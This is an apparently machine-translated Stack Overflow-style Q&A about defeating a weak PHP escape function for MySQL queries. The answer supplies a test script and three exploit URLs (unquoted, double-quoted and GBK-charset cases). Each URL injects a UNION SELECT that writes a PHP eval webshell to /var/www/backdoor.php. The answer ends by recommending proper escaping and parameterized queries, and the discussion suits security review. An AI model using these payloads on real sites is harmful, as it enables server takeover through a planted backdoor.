发现MySql的弱转义函数,如何利用?

Eve*_*ert 21 mysql sql security sql-injection

在我正在研究的应用程序中,我发现了一个弱逃逸函数来防止注入.我试图证明这一点,但我在提出一个简单的例子时遇到了麻烦.

escape函数的工作原理如下(PHP示例).

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}
Run Code Online (Sandbox Code Playgroud)

我意识到这不涉及使用双引号(")编码的值,但所有查询都是使用单引号(')构造的.

谁可以打败这个逃脱功能?

要求:

  • 查询中的字符串始终用引号括起来.
  • 从不使用双引号.
  • MySQL连接设置为UTF8.

简单的例子:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
Run Code Online (Sandbox Code Playgroud)

roo*_*ook 11

如果你是刚刚替换''',那么你可以通过注入一个利用此\'将变成一个\'',这将让你打出来,因为这给你一个"字符文字"单引号和一个真正的单引号.然而,替换"\\""\\\\"否定这种攻击.双单引号用于"转义"MS-SQL的单引号,但这不适用于MySQL,但它可以工作.

以下代码证明,除三个条件外,此转义功能对所有人都是安全的.此代码通过控制包的所有可能变体进行置换,并测试每个变量,以确保单引号包含的select语句不会发生错误.此代码在MySQL 5.1.41上进行了测试.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>
Run Code Online (Sandbox Code Playgroud)

易受伤害的情况1:没有使用引号.

mysql_query("select username from users where id=".escape($_GET['id']));
Run Code Online (Sandbox Code Playgroud)

利用:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Run Code Online (Sandbox Code Playgroud)

弱势条件2:使用双引号

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Run Code Online (Sandbox Code Playgroud)

利用:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Run Code Online (Sandbox Code Playgroud)

易受攻击的条件2:使用单引号,但使用替代字符集..

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Run Code Online (Sandbox Code Playgroud)

利用:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Run Code Online (Sandbox Code Playgroud)

结论是始终mysql_real_escape_string()用作MySQL的转义例程.像pdo和adodb这样的参数化查询库mysql_real_escape_string()在连接到mysql数据库时总是使用. addslashes()更好的一种逃避日常的,因为它需要的弱势状况2.应当指出的是,即使不小心mysql_real_escape_string()将停止条件1,但是参数化查询库意愿.